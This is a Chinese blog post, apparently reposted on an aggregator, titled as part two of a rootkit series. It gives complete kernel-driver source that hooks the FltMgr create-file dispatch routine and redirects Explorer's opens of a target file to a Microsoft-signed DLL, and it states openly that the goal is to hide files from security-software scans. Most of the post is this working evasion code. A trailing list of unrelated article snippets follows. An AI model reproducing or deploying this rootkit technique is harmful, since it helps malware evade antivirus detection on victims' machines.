Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】

文章目录

    • 前言
    • 探究
    • 代码
    • 演示

前言

文件隐藏的方法有很多,这里分享的是一种通过内核文件重定向的方式动态规避检测的方法。举例:假设有一个安全软件A,A要扫描文件B,B是我们想要隐藏的文件。那么我们在内核中将A打开文件B的操作重定向到打开文件C,文件C我们设置为一个系统原有且自带微软签名的文件,这样文件B就躲过了A的扫描。等同于文件B对于安全软件A来说就是隐藏的。

探究

现在几乎所有的安全软件对于文件监控都是基于MiniFilter框架,而该框架的能力由FltMgr.sys这个驱动提供。而这个驱动会将设备对象附加到文件系统上,NTFS文件系统的驱动对象名为 \FileSystem\Ntfs。在FltMgr驱动的派遣函数中会调用到所有通过 F l t R e g i s t e r F i l t e r \textcolor{cornflowerblue}{FltRegisterFilter} FltRegisterFilter函数注册的文件过滤器。如果我们在它调用安全软件注册的文件过滤器之前,将文件路径修改就能实现上述的文件重定向。

为了实现这个目标,我们首先需要获取NTFS文件系统的驱动对象。这里有个很好用的未文档化函数 O b R e f e r e n c e O b j e c t B y N a m e \textcolor{cornflowerblue}{ObReferenceObjectByName} ObReferenceObjectByName

NTSATUS ObReferenceObjectByName(
	_In_ PUNICODE_STRING ObjectName, // 驱动对象名
	_In_ ULONG Attributes,			// 属性值,通常填 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
	_In_ PACCESS_STATE AccessState,	 // 访问状态,一般填 NULL
	_In_ ACCESS_MASK DesiredAccess,	 // 预期的访问值,一般填0
	_In_ POBJECT_TYPE ObjectType,	 // 根据对象名代表的类型,有IoDriverObjectType、IoDeviceObjectType、IoFileObjectType .etc
	_In_ KPROCESSOR_MODE AccessMode, // 内核下九天KernelMode
	_In_opt_ PVOID ParseContext,	 // 一般填NULL
	_Inout_ PVOID* Object);			// 输出对象指针

于是可以调用此函数,传入驱动对象名字得到驱动对象。然后我们从NTFS驱动对象中找到附加的FltMgr驱动对象,将该对象的IRP_MJ_CREATE类型的处理函数替换成我们自己的处理函数。随后在我们的处理函数中就可以做手脚了。

代码

#include <ntifs.h>

using ObReferenceObjectByName_t = NTSTATUS(NTAPI*)(
	_In_ PUNICODE_STRING ObjectName,
	_In_ ULONG Attributes,
	_In_ PACCESS_STATE AccessState,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ POBJECT_TYPE ObjectType,
	_In_ KPROCESSOR_MODE AccessMode,
	_In_opt_ PVOID ParseContext,
	_Inout_ PVOID* Object
	);

// 保存原始的创建文件处理函数
PDRIVER_DISPATCH g_FnOriginalCreateFileHandler = NULL;
ObReferenceObjectByName_t g_FnObReferenceObjectByName = NULL;

extern"C" PCHAR PsGetProcessImageFileName(PEPROCESS Process);
extern"C" POBJECT_TYPE * IoDriverObjectType;

extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath);



VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj);
BOOLEAN RetrievesKernelUnDocumentFuncition();
BOOLEAN HookFltMgr(BOOLEAN bRemove);
static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp);

extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath)
{
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
	pDrvObj->DriverUnload = DriverUnload;

	if (RetrievesKernelUnDocumentFuncition())
	{
		if (HookFltMgr(FALSE))
		{
			ntStatus = STATUS_SUCCESS;
		}
	}

	return ntStatus;
}

VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj)
{
	if (HookFltMgr(TRUE))
	{
		// 需要等待1s,因为怕之前有些进入到自己的HOOK函数还没有完全出来,模块就已经卸载,导致BSOD。
		LARGE_INTEGER liDelayInterval;
		liDelayInterval.QuadPart = -1 * 100 * 100 * 10;
		KeDelayExecutionThread(KernelMode, FALSE, &liDelayInterval);
		DbgPrint("[+] UnHook FileSysDriver.\n");
	}
	DbgPrint("[+] Driver unload.\n");
}

BOOLEAN HookFltMgr(BOOLEAN bRemove)
{
	UNICODE_STRING uszTargetDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
	PDRIVER_OBJECT pFileSysDrvObj = NULL;
	PDRIVER_OBJECT pTargetDrvObj = NULL;
	PDEVICE_OBJECT pFileSysDevObj = NULL;
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;

	ntStatus = g_FnObReferenceObjectByName(
		&uszTargetDriverName,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		0,
		*IoDriverObjectType,
		KernelMode,
		NULL,
		(PVOID*)&pFileSysDrvObj);

	if (!NT_SUCCESS(ntStatus))
	{
		goto free_exit;
	}

	pFileSysDevObj = pFileSysDrvObj->DeviceObject;
	if (!MmIsAddressValid(pFileSysDevObj))
	{
		goto free_exit;
	}

	if (pFileSysDevObj->AttachedDevice)
	{
		if (MmIsAddressValid(pFileSysDevObj->AttachedDevice))
		{
			// 取到的就是FltMgr的 Driver object
			pTargetDrvObj = pFileSysDevObj->AttachedDevice->DriverObject;
		}
		else
		{
			goto free_exit;
		}
	}
	else
	{
		// 说明没有过滤驱动,直接使用当前文件系统驱动
		pTargetDrvObj = pFileSysDrvObj;
	}

	if (!pTargetDrvObj)
	{
		goto free_exit;
	}

	if (bRemove)
	{
		InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
			(LONG64)g_FnOriginalCreateFileHandler);
	}
	else
	{
		g_FnOriginalCreateFileHandler = (PDRIVER_DISPATCH)InterlockedExchange64(
			(LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
			(LONG64)FsCreateFileHandler_Proxy);
	}
	
	ntStatus = STATUS_SUCCESS;

free_exit:
	if (pFileSysDrvObj)
	{
		ObDereferenceObject(pFileSysDrvObj);
	}

	return NT_SUCCESS(ntStatus);
}

BOOLEAN RetrievesKernelUnDocumentFuncition()
{
	UNICODE_STRING uszFnObRefernceObjectByName = RTL_CONSTANT_STRING(L"ObReferenceObjectByName");

	g_FnObReferenceObjectByName = (ObReferenceObjectByName_t)MmGetSystemRoutineAddress(&uszFnObRefernceObjectByName);
	return g_FnObReferenceObjectByName != NULL;
}

static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp)
{
	PIO_STACK_LOCATION pIostkloc = IoGetCurrentIrpStackLocation(pIrp);
	PUNICODE_STRING puzFileObjectName = NULL;
	PCHAR pszProcName = NULL;
	// 预定义重定向路径
	WCHAR wszReDirectionPath[] = L"\\Windows\\System32\\rpcrt4.dll";
	ULONG ulReDirectionPathLength = wcslen(wszReDirectionPath);
	// 做一些前置检查:
	// (1) Irql级别必须在PASSIVE_LEVEL
	// (2) 当前IRQL栈不为空
	// (3) 当前IRQL栈中的文件对象不为空
	if ((KeGetCurrentIrql() != PASSIVE_LEVEL)
		|| (pIostkloc == NULL)
		|| (pIostkloc->FileObject == NULL))
	{
		goto goon;
	}

	// 只处理Explorer.exe进程文件打开情况
	pszProcName = PsGetProcessImageFileName(PsGetCurrentProcess());
	if (_stricmp(pszProcName, "Explorer.EXE"))
	{
		goto goon;
	}

	puzFileObjectName = &pIostkloc->FileObject->FileName;
	// 过滤出要隐藏的文件
	if (puzFileObjectName->Buffer && !wcsstr(puzFileObjectName->Buffer, L"HideFile.sys"))
	{
		goto goon;
	}
	// 将打开的文件路径改为预定义的文件路径实现重定向
	if (puzFileObjectName->Length > ulReDirectionPathLength * sizeof(WCHAR))
	{
		RtlZeroMemory(puzFileObjectName->Buffer, puzFileObjectName->MaximumLength);
		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
	}
	else
	{
		// 尝试释放原来的内存,防止泄露
		if (puzFileObjectName->Buffer)
		{
			ExFreePool(puzFileObjectName->Buffer);
		}

		puzFileObjectName->Buffer = (PWCHAR)ExAllocatePoolWithTag(
			NonPagedPool, ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR),'RdFn');
		if (!puzFileObjectName->Buffer)
		{
			goto goon;
		}

		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
		puzFileObjectName->Buffer[ulReDirectionPathLength] = 0;
		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
	}

goon:
	return g_FnOriginalCreateFileHandler(pDevObj, pIrp);
}

演示

在这里插入图片描述
在这里插入图片描述
可以发现Explorer被忽悠了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/105341.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MFC 注册表

文章目录 打开注册表对注册表的键的操作创建子键删除子键遍历子键 对注册表值的操作读取值设置值 打开注册表 void CREGDemoDlg::OnBnClickedBtnOpen() {//打开注册表HKEY hKey;if (ERROR_SUCCESS ! RegOpenKeyEx(HKEY_CURRENT_USER, L"SOFTWARE\\Baidu.com", 0, KEY…

JS加密/解密之那些不为人知的基础逻辑运算符

不多说&#xff0c;直接上干货 使用逻辑非运算符 ! 和双重逻辑非运算符 !!&#xff1a;例如 ![]、!![]、!0、!!0 和 !""、!!""。空字符串的转换&#xff1a;!"" 和 !!""。数组和对象的类型转换&#xff1a;[] []、[] - []、{} [] 和…

2023年中国汽车覆盖件模具竞争格局、市场规模及行业需求前景[图]

汽车覆盖件模具是汽车车身生产的重要工艺装备&#xff0c;其设计和制造时间约占汽车开发周期的 2/3&#xff0c;是汽车换型的重要制约因素之一。汽车覆盖件模具具有尺寸大、工作型面复杂、技术标准高等特点&#xff0c;属于技术密集型产品。汽车覆盖件模具按以其冲压的汽车覆盖…

如何在linux服务器上安装Anaconda与pytorch,以及pytorch卸载

如何在linux服务器上安装Anaconda与pytorch&#xff0c;以及pytorch卸载 1&#xff0c;安装anaconda1.1 下载anaconda安装包1.2 安装anaconda1.3 设计环境变量1.4 安装完成验证 2 Anaconda安装pytorch2.1 创建虚拟环境2.2 查看现存环境2.3 激活环境2.4 选择合适的pytorch版本下…

基于ssm的宠物医院管理系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

hibernate源码(2)--- springboot-jpa是如何引入的

starter引入 要想看jpa是如何将hibernate引入容器&#xff0c;首先要看的是 spring-boot-starter-data-jpa 如何引入依赖&#xff1a; 如果注意的话&#xff0c;starter的包内容其实没有什么实质的内容&#xff0c;关键是pom里的依赖 pom中规定了各依赖和依赖的版本&#xf…

Docker 容器服务的注册、发现及Docker安全

目录 Docker容器服务的注册和发现 1、什么是服务注册与发现&#xff1f; 2、什么是consul consul的部署 1、环境准备 2、部署consul服务器 1&#xff09;建立 Consul 服务 2&#xff09;设置代理&#xff0c;在后台启动 consul 服务端 3&#xff09;查看集群信息 4&a…

BES2700 蓝牙协议之RFCOMM通道使用方法

是否需要申请加入数字音频系统研究开发交流答疑群(课题组)?可加我微信hezkz17, 本群提供音频技术答疑服务 BES2700 RFCOMM通道使用方法 RFCOMM_CHANNEL_NUM 枚举定义了一系列的通道号码,并为每个通道号码指定了一个具体的名称。以下是其中一些通道的中文含义: RFCOMM_CHAN…

RustDay06------Exercise[91-100]

91.将指针还原成指定类型 因为指针不知道里面具体有什么,所以一般约定打上unsafe 申明开发者自己对该部分可用性负责,且在调试的时候也能起强调作用 // tests6.rs // // In this example we take a shallow dive into the Rust standard librarys // unsafe functions. Fix …

大数据Flink(一百零二):SQL 聚合函数(Aggregate Function)

文章目录 SQL 聚合函数(Aggregate Function) SQL 聚合函数(Aggregate Function) Python UDAF,即 Python AggregateFunction。Python UDAF 用来针对一组数据进行聚合运算,比如同一个 window 下的多条数据、或者同一个 key 下的多条数据等。针对同一组输入数据,Python A…

2017年亚太杯APMCM数学建模大赛B题喷雾轨迹规划问题求解全过程文档及程序

2017年亚太杯APMCM数学建模大赛 B题 喷雾轨迹规划问题 原题再现 喷釉工艺用喷釉枪或喷釉机在压缩空气下将釉喷入雾中&#xff0c;使釉附着在泥体上。这是陶瓷生产过程中一个容易实现自动化的过程。由于不均匀的釉料在烧制过程中会产生裂纹&#xff0c;导致工件报废&#xff0…

Dubbo 路由及负载均衡性能优化

作者&#xff1a;vivo 互联网中间件团队- Wang Xiaochuang 本文主要介绍在vivo内部针对Dubbo路由模块及负载均衡的一些优化手段&#xff0c;主要是异步化缓存&#xff0c;可减少在RPC调用过程中路由及负载均衡的CPU消耗&#xff0c;极大提升调用效率。 一、概要 vivo内部Java…

AIR101 LuatOS LVGL 显示多个标签例程

屏幕资料 AIR101与屏幕连接 PC端仿真环境合宙官方PC端版本环境搭建教程 PC电脑仿真 -- sys库是标配 _G.sys require("sys") sys.taskInit(function()local cnt0lvgl.init(480,320)--lvgl初始化local cont lvgl.cont_create(nil, nil);-- lvgl.cont_set_fit(cont, …

2023 年最佳开源软件

InfoWorld 公布了 2023 年最佳开源软件榜单&#xff0c;旨在表彰年度领先的软件开发、数据管理、分析、人工智能和机器学习开源工具。 上榜的 25 个软件涵盖编程语言、运行时、应用程序框架、数据库、分析引擎、机器学习库、大型语言模型 (LLM)、用于部署 LLM 的工具等领域 Ap…

李沐——论文阅读——VIT(VIsionTransformer)

一、终极结论&#xff1a; 如果在足够多的数据上面去做预训练&#xff0c;那么&#xff0c;我们也可以不用 卷积神经网络&#xff0c;而是直接用 自然语言处理那边搬过来的 Transformer&#xff0c;也能够把视觉问题解决的很好 &#xff08;tips&#xff1a;paperswithcode.co…

【保姆级教程】:docker搭建MongoDB三节点副本集

容器可以理解为一个进程&#xff0c;镜像是把环境&#xff0c;组件等都配置好&#xff0c;运行成容器的&#xff0c;容器里面运行服务&#xff0c;也可以说是一个进程。镜像是模板&#xff0c;镜像是实例。 一个镜像可以创建多个实例。也就是多个容器&#xff0c;容器之间相互…

18.1 Socket 原生套接字抓包

原生套接字抓包的实现原理依赖于Windows系统中提供的ioctlsocket函数&#xff0c;该函数可将指定的网卡设置为混杂模式&#xff0c;网卡混杂模式&#xff08;Promiscuous Mode&#xff09;是常用于计算机网络抓包的一种模式&#xff0c;也称为监听模式。在混杂模式下&#xff0…

ThinkPHP8学习笔记

ThinkPHP8官方文档地址&#xff1a;ThinkPHP官方手册 一、composer换源 1、查看 composer 配置的命令composer config -g -l 2、禁用默认源镜像命令composer config -g secure-http false 3、修改为阿里云镜像源composer config -g repo.packagist composer https://mirror…

Ubuntu环境下DOSBOX的配置

【步骤一】 先打开命令行&#xff0c;进入root模式&#xff0c;输入如下语句&#xff1a; sudo apt-get install dosbox 该语句的作用主要是安装dosbox 【步骤二】 安装完成之后&#xff0c;命令行输入dosbox 会进入dosbox页面&#xff1a; 【步骤三】 在你的主机中&…

使用pycharm远程连接到Linux服务器进行开发

预计达到的效果 本地的 PyCharm 能达到和远程服务器之间的文件同步&#xff1b;本地的 PyCharm 能够使用远程服务器的开发环境&#xff1b; 环境配置 PyCharm&#xff1a;PyCharm 2021.3 (Professional Edition)Linux服务器&#xff1a;Ubuntu20.04 步骤 1.进入配置项 配…
最新文章